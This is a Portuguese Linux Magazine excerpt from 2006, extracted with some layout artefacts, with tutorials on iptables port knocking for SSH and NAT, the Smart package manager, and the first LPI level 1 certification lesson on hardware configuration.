Para carregar o módulo, use o comando modprobe ipt_recent. Caso seu servidor use um script para ativar o firewall, adicio-ne o módulo ipt_recent.ko a este, para que o módulo seja carregado durante a ativação do firewall.

Módulo ipt_recentO comando iptables -m recent -h nos permite resgatar as informações bási-cas do módulo ipt_recent; no momen-to, utilizaremos as opções listadas no exemplo 1.

A lógica que seguiremos para o trata-mento das conexões será a seguinte:➧ Nosso firewall bloqueia conexões

externas à porta 2200 – destinadas ao SSH;

➧ Um pacote enviado à porta 60000 guardará em uma lista o IP de quem o enviou; em seguida o mesmo pacote será ignorado (DROP);

➧ Quando um pedido de conexão à porta 2200 for efetuado, será consultada uma lista (que chamaremos de SSHKNOCK) – se o IP que o originou já constar nesta

lista, a conexão será estabelecida; caso contrário, será aplicada a política padrão do firewall (DROP);

➧ Quando um pacote for enviado à porta 1500, consultaremos a lista; se o seu remetente já estiver contido lá, será retirado dela – desabilitando assim a conexão – e o pacote será ignorado.

root@bishamonten:~# iptables -L INPUT | ➥ head -n1Chain INPUT (policy DROP)

ImplementaçãoSeguindo a lógica descrita acima, defi-niremos as regras como no exemplo 2, salvando-as no arquivo pknock.sh.

Para ativar as regras, vamos primeiro zerar nosso firewall e estabelecer políticas

restritivas (veja o quadro 1 para mais infor-mações sobre políticas de firewall):

# iptables -F INPUT# iptables -P INPUT DROP

Agora já podemos chamar o arquivo pknock para carregar as regras de Port Knocking. Em seguida, devemos con-ferir se as regras foram carregadas cor-retamente:

# bash pknock.sh# iptables -L INPUTChain INPUT (policy DROP)target prot opt source ➥ destinationDROP tcp -- anywhere ➥ anywhere tcp spts:1024:65535 ➥ dpt:60000 recent: SET name: SSHKNOCK ➥ side:source

Exemplo 1: Opções do módulo ipt_recent[!] --set Adiciona um endereço de remetente à lista. Sempre retorna positivo.[!] --rcheck Retorna positivo caso um endereço de remetente conste na lista.[!] --remove Retorna positivo se o endereço de remetente estiver na lista, retirando-o da mesma. --seconds segundos Útil em conjunto com --check e --rcheck. Estabelece que só se retorne positivo caso o endereço do remetente tenha se comunicado nos

➥ últimos 'segundos' segundos. --name nome Nome da lista de IPs recentes a ser usada. A lista 'DEFAULT' é usada caso esse parâmetro seja omitido. --rsource Salva o endereço do remetente de cada pacote na lista de IPs recentes (padrão). --rdest Salva o endereço de destino de cada pacote na lista de IPs recentes.

Quadro 1: Políticas de firewallPodemos fazer uma breve descrição da atuação de políticas de um firewall com uma analogia a um sho-pping e uma residência. O shopping é um local onde qualquer pessoa pode entrar, a menos que haja uma regra obrigando a equipe de segurança a impedir seu acesso. Pessoas sem camisa, por exemplo, geralmen-te são impedidas de entrar em shoppings. Já em uma residência não se entra sem que se seja convidado, ou, no mínimo, que se tenha uma regra previamente estabelecida pelo dono da mesma que permita a entrada.

Em termos um pouco mais técnicos:

➧ Política de Aceitação (shopping): Toda entrada é permitida, exceto aquelas claramente proibidas.

➧ Política de Negação (residência): Toda entrada é proibida, a menos que haja uma permissão explícita.

Como se pode perceber, as duas políticas são fundamentalmente opostas. É possível construirmos firewalls eficien-tes e competentes com o uso de qualquer uma delas. Porém, como se pode imaginar, geralmente é mais interessan-te proibir qualquer entrada, a menos que haja permissão em contrário, exatamente como ocorre em nossas casas.

Consultando sua política

Em firewalls iptables, costumamos utilizar políticas ACCEPT para aceitação, enquanto a DROP realiza a negação. Utili-zaremos o comando iptables -L INPUT | head -n1 para nossa consulta à corrente INPUT, que é a responsável pelos pacotes de rede destinados à interface em questão. A saída do comando deve parecer-se com a seguinte:

Nesse momento, o importante para nós é o conteúdo entre parênteses (policy DROP). No caso acima, ele indica que a corrente (“Chain”) INPUT adota a política de negação (DROP). Caso tivéssemos uma política de aceitação, a saída seria:

[root@kemi ~]# iptables -L INPUT | head -n1Chain INPUT (policy ACCEPT)

Exemplo 2: pknock.sh - regras de iptables para permitir a conexão01 #!/bin/bash0203 # iptables -A INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 60000 -m recent --rsource --set --name SSHKNOCK -j DROP04 # iptables -A INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 2200 -m recent --rcheck --rsource --name SSHKNOCK -j ACCEPT05 # iptables -A INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 1500 -m recent --remove --rsource --name SSHKNOCK -j DROP

http://supertuxbr.blogspot.com

Page 50: 26 - Web 2.0_dez_2006

50 http://www.linuxmagazine.com.br

TUTORIAL | Port Knocking

ACCEPT tcp -- anywhere ➥ anywhere tcp spts:1024:65535 ➥ dpt:2200 recent: CHECK name: ➥ SSHKNOCK side: sourceDROP tcp -- anywhere ➥ anywhere tcp spts:1024:65535 ➥ dpt:1500 recent: REMOVE name: SSHKNOCK ➥ side: source

Sucesso. Feito isso, agora vamos ten-tar nos conectar ao SSHD na porta 2200 para testar o funcionamento do bloqueio padrão após a ativação das regras:

# ssh -p 2200 nwadmin@servidor(180 segundos depois...)ssh: connect to host servidor port 2200: ➥ Connection timed out

Caso não haja resposta, ou se a res-posta informar que a conexão não pôde ser estabelecida, isso significa que a porta está efetivamente fechada.

Batendo à portaPara conseguirmos nos conectar ao SSHD que está rodando na porta 2200, precisa-remos antes “bater” na porta 60000. Isso é feito com o envio de qualquer pacote para essa porta. Ou seja, podemos bater à porta

com um navegador web, um cliente FTP ou telnet, ou até com o próprio cliente SSH. Depois de fazer isso, vamos conse-guir nos conectar à máquina em questão. Ao final, bateremos na porta 1500, o que fechará a porta do SSHD:

Vamos bater na porta 60000:root@bishamonten:~# telnet servidor 60000^C

Pressionamos ctrl-c para não termos que esperar 3 minutos, já que estamos sim-plesmente “batendo” na porta 60000)

Agora tentaremos nos conectar

root@bishamonten:~# ssh -p 2200 ➥ nwadmin@servidor

Verificando se nos conectamos

nwadmin@servidor:~# hostnameservidor

Desconectando:

nwadmin@servidor:~# logout

Connection to servidor closed.

Vamos fechar a porta com educação

root@bishamonten:~# telnet servidor 1500

Agora conferimos se a porta está mes-mo fechada

root@bishamonten:~# ssh -p 2200 ➥ nwadmin@servidor(3 minutos depois, caso você espere)ssh: connect to host servidor port 2200: ➥ Connection timed out

Agora, se, ao invés de darmos uma batida para fechar a porta novamente, quisermos isso automático, é só trocarmos a regra presente na linha 4 do exemplo 2 por uma verificação por tempo. Por exemplo, vou usar um intervalo de 60 segundos. Apenas uma conexão do meu IP com o servidor será liberada, caso não transcorram mais de 60 segundos entre a batida de abertura (linha 3 do exemplo 2) e a solicitação de conexão (linha 4). A regra de solicitação de conexão ficaria assim:

# iptables -A INPUT -p tcp -s 0/0 --sport

Quadro 2: Implementação com políticas AcceptSe utilizarmos em nosso firewall uma política de ACCEPT, precisaremos adicionar a ele uma regra proibindo o acesso de qualquer pacote a nosso servidor, a qual deverá, obviamente, ser executada por último, para que só seja aplicada aos pacotes que não receberem um destino em nenhuma das outras regras.

Num primeiro instante, precisaremos adicionar ao final das nossas regras o bloqueio ao serviço de SSHD que está rodando na porta 2200 do nosso exemplo:

# iptables -A INPUT -p tcp -s 0/0 --dport 2200 -j DROP

A regra acima bloqueia qualquer requisição de conexão, proveniente de qualquer lugar (-s 0/0), e destinada à porta 2200. Se possuirmos uma rede inter-na e não quisermos exigir que os computadores pertencentes a ela também façam o Port Knocking, é necessário substituir a opção -s 0/0 por algo como:

# iptables -A INPUT -p tcp -s ! 192.168.1.0/255.255.255.0 --dport 2200 -j DROP

O uso do ponto de exclamação (!) antes do endereço significa “qualquer endereço diferente de”, ou seja, todos os IPs que não pertençam à nossa rede interna, caso esta use a faixa de IPs 192.168.1.1 a 192.168.1.254.

Prosseguindo aos outros passos, é importante atentar à alteração da ordem das regras, e também às opções dos co-mandos, pois esses dados são essenciais para o funcionamento correto de nosso sistema de firewall.

# iptables -I INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 1500 -m recent --remove --rsource --name SSHKNOCK -j DROP# iptables -I INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 2200 -m recent --rcheck --rsource --name SSHKNOCK -j ACCEPT# iptables -I INPUT -p tcp -s 0/0 --sport ➥ 1024:65535 --dport 60000 -m recent --rsource --set --name SSHKNOCK -j DROP

A ordem das regras foi alterada porque estamos inserindo-as no início da lista. Isso é realizado pela opção -I, no lugar de -A. A re-gra para utilização do Port Knocking por tempo também deve ser alterada para -I, deixando assim nosso segundo comando:

# iptables -I INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 2200 -m recent --rcheck --seconds 60 --rsource --name SSHKNOCK -j ACCEPT

http://supertuxbr.blogspot.com

Page 51: 26 - Web 2.0_dez_2006

51

| TUTORIALPort Knocking

Linux Magazine #26 | Dezembro de 2006

O bloqueio da conexão a um servi-dor web pode parecer não fazer sentido. No entanto, essa técnica pode ser útil para a visualização de um projeto em andamento, com fins de demonstração, por exemplo.

É importante informar que, para fins de consulta, o conteúdo de cada lista do módulo ipt_recent do iptables, como é o caso de nossa WEBKNOCK, fica em /proc/net/ipt_recent/. O administrador pode consultá-los com um simples comando cat, e a saída é formatada como mostra o exemplo:

root@bishamonten:~# cat /proc/net/ipt_➥ recent/SSHKNOCKsrc=200.222.233.200 ttl: 118 last_seen: ➥ 985252282 oldest_pkt: 1 last_pkts: ➥ 985252282

(No caso, o IP 200.222.233.200 é o único integrante da lista em questão.)

ConclusãoO módulo ipt_recent e a técnica de Port Knocking não são novidades, porém podem ser de grande ajuda quando se deseja realizar a administração remota a partir de qualquer lugar do mundo sem abrir mão de um alto grau de segurança. As regras de iptables demonstradas neste artigo foram bastante específicas, justa-mente para que ficasse claro que podem ser usadas praticamente todas as funcio-nalidades desse utilitário, em completa harmonia com seus outros módulos.

Aqueles que se interessarem em de-senvolver regras mais interessantes com base neste artigo, ou que tiverem qualquer dúvida, sintam-se à vontade para entrar em contato. ■

➥ 1024:65535 --dport 2200 -m recent --rcheck ➥ --seconds 60 --rsource --name SSHKNOCK -j ➥ ACCEPT

Com o help do recent, você vai ver que é capaz de fazer várias outras combina-ções, como exigir duas batidas antes de liberar a conexão ou, em vez da batida para liberação, fazer uma configuração para bloqueio (por exemplo, três tenta-tivas em um minuto causariam um blo-queio de dez minutos), muito útil para serviços expostos.

É importante ressaltar que todos os procedimentos demonstrados neste arti-go aplicados à corrente INPUT também podem ser utilizados sobre a corrente FORWARD, ou seja, para serviços rodan-do em servidores atrás do firewall.

Mais à frente, veremos exemplos

de algumas configurações utilizadas na prática.

ComplicandoO fato de termos utilizado o telnet para realizar o Knock não o torna melhor ou pior do que qualquer outra forma de envio de pacote para uma determinada porta em uma máquina remota (via pro-tocolo TCP/IP); eu o fiz simplesmente para mostrar a flexibilidade pelo lado do cliente na utilização desta implementa-ção. Da mesma forma, poderíamos ter utilizado o próprio ssh, alterando ape-nas a porta e dando uma batida antes de efetuar realmente a conexão, como mostra o exemplo 3:

O resultado seria idêntico, indepen-dentemente de usarmos o ssh ou o te-lnet para bater na porta. Na linha 2, eu novamente pressionei [Ctrl] + [C] após um ou dois segundos para não ter que aguardar os 180 segundos.

Outra implementaçãoCostumo utilizar a implementação para SSHD por tempo, para que eu não pre-cise lembrar de enviar uma outra batida depois de sair de uma manutenção. Meu

limite preferido é de 40 segundos entre a batida e a conexão. Veja bem, o fato de eu manter a permissão de conexão por apenas 40 segundos não vai me desco-nectar de uma conexão já estabelecida; a regra de tempo funciona somente para estabelecer a conexão. Depois de estabe-lecida, ela é controlada pelo serviço que a hospeda (no caso o SSHD).

É importante notar que também é possível utilizar a técnica de Port Kno-cking para máquinas atrás de um firewall ou NAT. O exemplo 4 mostra uma con-figuração no firewall (que também atua

como gateway, no caso), exigindo bati-das na porta.

O bloco de regras acima está fazendo um Port Knocking baseado em “Knock Open” e “Knock Close” para um ser-vidor web que se localiza atrás de um firewall, ou seja, dentro da minha rede interna. O IP desse servidor é 192.168.0.3. A novidade é o uso da corrente FORWARD e do parâmetro --rdest, que repre-senta nada mais que o IP de destino, assim como o --rsource refere-se ao IP de origem.

A linha 1 do exemplo 4 contém a regra que realiza a verificação do IP de origem, e fica responsável por permitir a realização do DNAT do firewall até o servidor web, caso o Port Knocking já tenha sido rea-lizado, isso é, se a porta já estiver aberta para esse IP. A linha 2 verifica se o IP de destino do pacote de saída do servidor web já possui uma entrada na lista WEBKNOCK – se positivo, o pacote recebe a permissão de passar. A regra que realiza a operação complementar à da linha 2 está mostrada na linha 3; ela verifica se o IP do cliente que está solicitando a conexão já consta na lista WEBKNOCK. Nós adicionamos o IP do cliente à lista WEBKNOCK na linha 4, coletando os dados da “batida” na porta 8888. A linha 5 realiza o fechamento da porta mediante o envio de um pacote à porta 8880.

Mais Informações[1] Daemon Knockd:

http://www.zeroflux.org/knockd

Exemplo 3: Batida na porta com o sshroot@bishamonten:~# ssh -p 60000 nwadmin@servidor^Croot@bishamonten:~# ssh -p 2200 nwadmin@servidornwadmin@servidor’s password:

Exemplo 4: Port Knocking em conjunto com NAT01 iptables -t nat -A PREROUTING -p tcp --dport 80 -m recent --rcheck --rsource --name WEBKNOCK -j DNAT --to 192.168.0.302 iptables -A FORWARD -p tcp -s 192.168.0.3 -m recent --rcheck --rdest --name WEBKNOCK -j ACCEPT03 iptables -A FORWARD -p tcp -d 192.168.0.3 -m recent --rcheck --rsource --name WEBKNOCK -j ACCEPT04 iptables -A INPUT -p tcp --dport 8888 -m recent --set --rsource --name WEBKNOCK -j DROP05 iptables -A INPUT -p tcp --dport 8880 -m recent --remove --rsource --name WEBKNOCK -j DROP

http://supertuxbr.blogspot.com

Page 52: 26 - Web 2.0_dez_2006

52

TUTO

RIA

L

http://www.linuxmagazine.com.br

O verdadeiro teste de um gerencia-dor de pacotes é como a ferra-menta resolve dependências. O

Smart é um dos melhores gerenciadores de pacotes da atualidade para resolver problemas de dependência. O gerencia-dor de pacotes não depende de qualquer

distribuição específica, e consegue lidar com mais de dez formatos de repositó-rios. O Smart vem com a ferramenta de linha de comando smart, além de uma shell (smart -shell) e da interface gráfica (figura 1), que pode ser iniciada com o comando smart --gui.

O objetivo do projeto Smart é criar “algoritmos inteligentes e portáveis para resolver adequadamente o problema de gerenciar a atualização e a instalação de softwares”. Existe um motivo para essa ênfase dos desenvolvedores nos algoritmos. Os algoritmos são um foco importantís-simo do projeto Smart – e um motivo fundamental para seus desenvolvedores considerarem sua ferramenta como algo diferente. Quando se trata de dependência, o Smart não só usa a solução mais fácil e mais óbvia, como também pesa cada opção possível com o uso de um sistema de políticas baseado em prioridades. Em alguns casos, a “melhor” solução pode depender do objetivo. Por exemplo, se você estiver fazendo uma atualização, o

Smart talvez não escolha a versão mais recente de um pacote se uma versão in-termediária oferecer um melhor resul-tado para o sistema como um todo. Os algoritmos do Smart também levam em conta fatores de eficiência, escolhendo a combinação de pacotes que leva à insta-lação mais veloz e confiável.

O Smart consegue lidar com pacotes DEB, RPM e do Slackware, e suporta repositórios APT, YUM e URPMI, den-tre outros. A arquitetura do programa ainda oferece mais para se adicionar novos formatos de pacotes e também de repositórios.

InstalaçãoA forma mais fácil de instalar o Smart é através do uso de seu atual gerenciador de pacotes, supondo que você disponha de conexão à Internet.

Os usuários do Ubuntu podem exe-cutar sudo apt-get install smartpm para instalar o pacote a partir do repositório

O gerenciador de pacotes polivalente Smart

Fique esperto! O gerenciador de pacotes é um dos componentes centrais de qualquer sistema Linux. Se seu sistema de gerenciamento de pacotes não for confiável, ou mesmo que seja, vale a pena conferir essa alternativa.por Marcel Hilzinger

Figura 1: A interface gráfica do Smart oferece aos administradores uma função de busca bastante conveniente. A aba de URLs ainda mostra o repositório de onde um pacote se originou.

http://supertuxbr.blogspot.com

Page 53: 26 - Web 2.0_dez_2006

53

| TUTORIALSmart

Linux Magazine #26 | Dezembro de 2006

Universe. Usuários do Fedora Core 5 en-contrarão o Smart no repositório extras; apenas digite yum install smart para insta-lá-lo. Os leitores que usem o Suse Linux precisarão adicionar o repositório Guru [1] às fontes de instalação. Depois, será possível instalar o Smart através do YaST. A página do projeto [2] possui detalhes sobre os repositórios que contêm o Smart em outras distribuições.

Para instalar a partir do código-fonte, é necessário ter instalados os pacotes de desevolvimento dos sistemas RPM ou DEB, além de diversos pacotes do Python. Com eles instalados, apenas digite make no diretório do código-fonte para iniciar a compilação. Depois, tor-ne-se root e execute make install para instalar o Smart.

Após terminar a instalação, pode-se optar pela linha de comando, como em smart install amarok, por exemplo, ou pela interface gráfica, com um smart --gui. O software também suporta combinações dos dois. São necessários privilégios de administrador para instalar ou remover programas.

Configução de repositóriosDependendo da sua distribuição e do fornecedor do pacote, o Smart pode ter uma lista de canais adequada às suas ne-cessidades. “Canais”, para o Smart, são quaisquer tipos de repositórios ou fontes de pacotes. Por exemplo, os pacotes do Suse vindos do Guru [3] automaticamen-te configuram canais para o Packman e

o Guru. Outras distribuições não fazem uso intenso de repositórios de terceiros, e pouquíssimas listas estão disponíveis. Para acrescentar um novo canal à inter-face gráfica, selecione Editar | Canais | Novo, e depois opte por um dos cinco métodos sugeridos no próximo passo (figura 2).

Para acrescentar um canal manual-mente, selecione Prover Informação do Canal. Para ler os pacotes RPM de um diretório local, selecione o último item. Os outros três itens lêem informações de canais existentes. O resto deste artigo ex-plica como configurar manualmente um repositório através de Prover Informações do Canal. Como alternativa, é possível adicionar fontes de pacotes pela linha de comando, com um smart channel --add. O quadro 1 demonstra um exemplo para o Ubuntu 6.06.

Seleciona-se o formato necessário no diálogo mostrado na figura 3. Geralmente, é um Repositório APT-DEB no Ubuntu, ou MetaData RPM no Fedora Core e no Suse Linux. A possibilidade de gerenciar a instalação a partir de fontes do YaST foi acrescentada na versão 0.42. As entradas Pacotes RPM instalados e Pacotes DPKG instalados informam ao Smart para exa-minar os pacotes instalados, o que dá à ferramenta a capacidade de apagar soft-wares instalados.

Após optar por um formato, forneça as in-formações necessárias no diálogo Editar Canal (figura 4). Como Apelido, especifique um nome curto e intuitivo. Pode-se acrescentar uma des-crição mais detalhada na caixa Nome. O item Atualizações manuais permite que se escolha se o Smart deve examinar o canal ao ser iniciado.

Se você ativar essa opção, o programa vai desconsiderar esse passo para a fonte atual. Isso é útil para fontes estáticas de pacotes, como diretórios RPM em um CD, ou para repositórios locais.

Marcar Desativado informa o Smart para não instalar nenhum pacote desse canal. Isso é prático se você quiser de-sativar um canal temporariamente sem apagar sua entrada respectiva. A opção Removível informa ao Smart que o canal localiza-se em uma mídia externa (CD ou DVD). Se necessário, o gerenciador de pacotes pedirá que se insira o disco.

Pode-se usar o valor de Prioridade para pesar canais. Quanto maior o valor, mais provável é que o Smart use esse canal para instalar o pacote. Teoricamente, pode-se conferir prioridades entre -100000 e 100000, embora dois dígitos sejam sufi-cientes na maioria dos casos. O padrão é o canal receber um valor de zero.

Quadro 1: Comandos do Smart➧ Instalar pacote: smart install pacote, ou smart install /caminho/para/o/pacote

➧ Procurar pacotes: smart search nome_do_pacote

➧ Atualizar a lista de pacotes (executado automaticamente antes da instalação): smart update

➧ Acrescentar um canal: smart channel --add arquivo_do_canal, ou smart channel --add nome_do_apelido name=”descrição detalhada” type=apt-deb distribution=dapper baseurl=http://archive.ubuntu.com/ubuntu components=”universe”

➧ Gerenciar servidores espelho: smart mirror --add ftp://servidor.url/path http://espelho.url/caminho/`` e smart mirror --show

➧ Especificar prioridades: smart channel --set nome_do_apelido priority=50

Figura 2: O Smart oferece cinco métodos diferentes de se integrar uma nova fonte de pacotes.

DicaÉ bom conferir as maiores prioridades aos repositórios oficiais da sua distri-buição, em vez de escolher um forne-cedor externo. Isso evita problemas causados pela mistura de pacotes.

Figura 3: O Smart suporta um grande número de formatos de fontes de pacotes.

http://supertuxbr.blogspot.com

Page 54: 26 - Web 2.0_dez_2006

54 http://www.linuxmagazine.com.br

TUTORIAL | Smart

Especifique o endereço para down-load na caixa URL base. Um arquivo de configuração pré-existente, como sources.list no Ubuntu ou Debian, ou yum.conf, é a melhor fonte para essa informação. Usuários do Fedora Core precisarão adicionar entradas como $basearch (i386, por exemplo).

Os outros campos dependem do for-mato selecionado. O programa pedirá a Distribuição e o Componente para fon-tes do tipo APT-DEB. Depois de fazer mudanças, assegure-se de ter saído do Smart, selecionando Arquivo | Sair. Em nosso laboratório, o programa às vezes esquecia os novos canais se não saíssemos propriamente dele.

UtilizaçãoPode-se pressionar [Ctrl]+[F] ou clicar no ícone com uma lupa para ativar a ferramenta mais importante do Smart, a busca. Por padrão, o programa buscará apenas nomes de pacotes. Se você preferir procurar nas descrições, simplesmente pressione o botão Descrição. A função de busca do Smart não diferencia letras maiúsculas de minúsculas, e a versão de linha de comando é bem mais tolerante que o apt-get nesse ponto. Por exemplo, smart search realpla encontra não apenas o pacote RealPlayer, mas todos os paco-tes com RealPlayer em suas descrições. A ferramenta também mostra várias su-

gestões úteis durante a instalação (veja o exemplo 1).

Depois de completar uma busca, o Smart primeiro vai mostrar os grupos de pacotes que contêm os pacotes em questão. Se você preferir ordenar o resultado pela fonte, selecione Visualização | Estilo da árvore | Canais, embora o Visualização | Estilo da Árvore | Nenhum talvez seja mais eficiente, pois diz ao Smart para apenas mostrar os resultados.

Se você tiver familiaridade com o Sy-naptic, não deve ter dificuldades com o Smart. Clicar em uma caixa à esquerda do nome do pacote marca o software para instalação. E pode-se também clicar em pacotes instalados para selecioná-los para remoção. Estrelas amarelas informam que há atualizações disponíveis para o paco-te em questão. Um clique com o botão direito mostra um menu com funções avançadas, tais como reinstalar pacotes, proteger pacotes individuais contra atua-lização (Travar esta versão), ou especificar prioridades de pacotes.

Para instalar um pacote, clique no ícone com uma engrenagem, selecione Arquivo | Executa mudanças, ou pressio-ne [Ctrl]+[C]. O Smart tentará baixar em paralelo os pacotes selecionados, acessan-do vários servidores espelho para isso. A ferramenta se lembra dos espelhos mais rápidos e confiáveis, e os usa preferen-cialmente em downloads futuros. Para acrescentar um novo espelho, selecione Editar | Espelhos, depois selecione o ser-vidor principal, e então clique em Novo. Veja o quadro 1 para descobrir como adi-cionar novos espelhos.

Dicas e truquesO Smart também consegue lidar com pacotes locais. O comando smart install ~/*.rpm instala todos os pacotes RPM, assim como os arquivos de canal necessários. Se você desejar converter seu sources.list em um arquivo de canais do Smart, veja os scripts em [4].

Os pacotes podem receber priorida-des, assim como os canais. Essa é uma

Mais Informações[1] Repositório Guru:

ftp://ftp.gwdg.de/pub/linux/misc/suser-guru/rpm/10.1/

[2] Smart: http://labix.org/smart

[3] Página de RPMs do Guru: http://linux01.gwdg.de/~pbleser/

[4] Conversão de listas APT para arquivos de canal: http://linux01.gwdg.de/~pbleser/files/smart/apt-sources-to-smart.sh

Exemplo 1: Busca tolerante01 kim:~ # apt-get install realplay02 Lendo Lista de Pacotes... Pronto03 Construindo Árvore de Dependências... Pronto04 E: Impossível achar pacote realplay0506 kim:~ # smart install realplay07 Carregando o cache...08 Atualizando cache... ############ [100%]09 erro: 'realplay' matches no packages. Suggestions:10 erro: realplayer_8.0.11

Figura 4: Criação de um canal para atualização do Suse 10.1.

boa forma de evitar atualizações de uma configuração funcional do Xine, por exemplo. Entretanto, será necessá-rio pensar em quais pacotes receberão prioridades, e lembrar das suas escolhas, pois isso pode impedir a atualização de pacotes importantes. Em caso de dúvida, talvez você prefira Travar esta versão. Se o Smart começar a instalar versões mais antigas dos pacotes, pode-se deduzir que você tenha esquecido algumas priorida-des no meio do caminho. Para remediar isso, selecione Editar | Prioridades, na interface gráfica.

Por padrão, o Smart apaga os arquivos de pacotes logo após sua instalação. Caso você prefira armazenar os arquivos para reutilização futura, rode o gerenciador de pacotes na linha de comando, usan-do a opção -o remove-packages=false. Os pacotes baixados serão guardados em /var/lib/smart/packages/, e você poderá usá-los para atualizar outra máquina. Para impedir que o Smart apague os arquivos baixados, apenas use o comando smart config --set remove-packages=false.

Se você usar o KDE, pode valer a pena instalar o applet KSmarttray, do kicker, que o mantém informado a respeito de desenvolvimentos recentes. Se o Smart encontrar dificuldades em algum estágio, existe uma solução bem fácil: Editar | So-lucionar Todos os Problemas.... Ela torna o Smart ainda mais esperto. ■

http://supertuxbr.blogspot.com

Page 55: 26 - Web 2.0_dez_2006

Dave Sackville - www.sxc.hu

55Linux Magazine #26 | Dezembro de 2006

TUTO

RIA

L

Tópico 101: Hardware e Arquitetura

Objetivo 1.101.1: Configuração de Atributos Fundamentais de BIOS

Recursos de hardwareO hardware básico do sistema é confi-gurado através do utilitário de configu-ração de BIOS. Através desse utilitário, é possível liberar e bloquear periféricos integrados, ativar proteção básica contra erros e configurar endereços I/O, IRQ e DMA.➧ IRQ: Requisição de Interrupção do

dispositivo para a CPU, que interrompe a atividade em andamento e processa a instrução enviada pelo dispositivo.

➧ I/O: Endereço específico no mapa de memória do sistema. A CPU irá se comunicar com o dispositivo len-do e escrevendo nesse endereço.

➧ DMA: Canal que permite a certos dispositivos acesso direto à memória sem intermédio da CPU.

É comum que algumas máquinas sejam acessadas apenas remotamente e não tenham um teclado conectado. Em caso de algum problema que cause o desligamento da máquina, é impor-tante que ela reinicie e volte a operar normalmente. Alguns BIOS procuram um teclado e interrompem a iniciali-zação caso não o encontrem. Nesse caso, é imprescindível que o BIOS esteja configurado para não procurar teclados durante a inicialização.

O kernel Linux armazena informa-ções sobre recursos de dispositivos no diretório /proc, nos arquivos:➧ /proc/dma➧ /proc/interrupts➧ /proc/ioports➧ /proc/pci

Comandos para inspecionar dispositivos➧ lspci: lista informações de chipset dos

componentes PCI. Com a opção -v, lista I/O e IRQ dos dispositivos.

➧ dmesg: mostra as mensagens do kernel, da identificação do hardware em diante. Essa informação está disponível em /var/log/dmesg e /var/log/messages.

Objetivo 1.101.3: Configuração de Modems e Placas de som

ModemsPara utilizar um modem externo, tudo o que precisa ser considerado é a porta se-rial à qual ele está conectado. Se tratar-se de um modem PCI interno, precisamos conhecer a porta I/O e a interrupção uti-lizadas pelo mesmo. Isso pode ser obtido com o comando lspci -v.

Para configurar a porta serial do mo-dem interno, usa-se o comando setserial. Para checar se uma porta serial está em uso, usa-se setserial -g caminho_do_dis-positivo.

# setserial -g /dev/ttyS[0123]/dev/ttyS0, UART: 16550A, Port: 0x03f8, ➥ IRQ: 4/dev/ttyS1, UART: unknown, Port: 0x02f8, ➥ IRQ: 3/dev/ttyS2, UART: unknown, Port: 0x03e8, ➥ IRQ: 4/dev/ttyS3, UART: unknown, Port: 0x02e8, ➥ IRQ: 3

No caso do exemplo, apenas a pri-meira porta serial (/dev/ttyS0) está em

Vamos começar uma preparação para a certificação LPI

LPI nível 1: Aula 1Começando a série de estudos para a certificação LPI nível 1, veremos os tópicos 101 e 102. Os tópicos e objetivos estão organizados conforme o determinado pelo próprio Linux Professional Institute.por Luciano Siqueira

http://supertuxbr.blogspot.com

Page 56: 26 - Web 2.0_dez_2006

56 http://www.linuxmagazine.com.br

TUTORIAL | Preparação LPI

uso. Às demais podem ser atribuídos os valores de recursos do modem obtidos através do comando lspci -v.

Se os valores relativos ao modem forem I/O 0xdc80 e IRQ 9, pode-se atribuir os mesmos à porta /dev/ttyS3, que está livre, com o comando set-serial /dev/ttyS3 port 0xdc80 irq 9 autoconfig. A maioria dos programas procura o modem no caminho /dev/modem. Portanto, é necessário criar um link simbólico com o comando ln -s /dev/ttyS3 /dev/modem.

O comando setserial também é usado para controlar a velocidade da porta serial. O comando setserial /dev/ttyS3 spd_vhi configura a velocidade para 115 Kbps.

Argumentos de velocidade para setserial:➧ spd_hi: 56 kb quando solicitado for

38.4➧ spd_vhi: 115 kb quando solicitado for

38.4➧ spd_shi: 230 kb quando solicitado for

38.4➧ spd_warp: 460 kb quando solicitado for

38.4➧ spd_cust: Usar um divisor diferente

quando solicitado for 38.4. A velocidade será o valor do argumento baud_base dividido pelo valor do argumento di-visor.

➧ spd_normal: 38.4 kb quando solicitado for 38.4A configuração do modem para fazer

ligações dial-up pode ser feita através dos programas wvdial ou minicom.

O script wvdialconf busca um modem nas portas seriais e USB, e gera o arquivo /etc/wvdial.conf. Editando esse arquivo com as infor-mações do provedor de Internet, a li-gação é feita com o comando wvdial nome_do_provedor.

No minicom, os processos de con-figuração, discagem e autenticação

são feitos manualmente na janela do terminal do programa. Para configurar o modem, o minicom deve ser inicia-do no modo de configuração com o comando minicom -s.

Diferente do wvdial, o minicom não executa o daemon pppd automatica-mente, cabendo ao usuário executá-lo para criar a interface de rede e conferir a ela um número IP.

Se não foi possível a comunica-ção com o modem através desses procedimentos, mesmo com o dis-positivo devidamente conectado à máquina, provavelmente trata-se de um winmodem. Winmodems são dispositivos dependentes de software adicional, muitas vezes desenvolvi-do exclusivamente para plataforma Windows®. Dessa forma, se esse software específico não estiver dis-ponível também para GNU/Linux, o modem não funcionará.

Dispositivos de somHá dois tipos principais de suporte a pla-cas de som no GNU/Linux: OSS (Open Sound System) e ALSA (Advanced Linux Sound Architeture).

O seguinte comando identifica qual o seu dispositivo de som:

# lspci | grep -i audio00:11.5 Multimedia audio controller: VIA ➥ Technologies, Inc. VT8233/A/8235/8237 AC97 ➥ Audio Controller (rev 60)

Identificado o dispositivo, é pos-sível carregar o módulo correspon-dente, seja ele OSS ou ALSA. A en-trada em /etc/modules.conf referente ao primeiro dispositivo de áudio en-contrado é sound-slot-0. Para carre-gar automaticamente a placa através do /etc/modules.conf, adicione neste arquivo a linha alias sound-slot-0 nome_do_módulo.

Objetivo 1.101.4: Configuração de Dispositivos não IDE

Dispositivos SCSIHá basicamente dois tipos de dispositi-vos SCSI: 8 bit (8 dispositivos incluin-do o controlador) e 16 bit (16 disposi-tivos incluindo o controlador).

Dispositivos SCSI são identifica-dos através de um conjunto de três números, chamado SCSI_ID:➧ O Canal SCSI: cada adaptador

SCSI suporta um canal de dados no qual são anexados os dispositi-vos SCSI. São numerados a partir de zero.

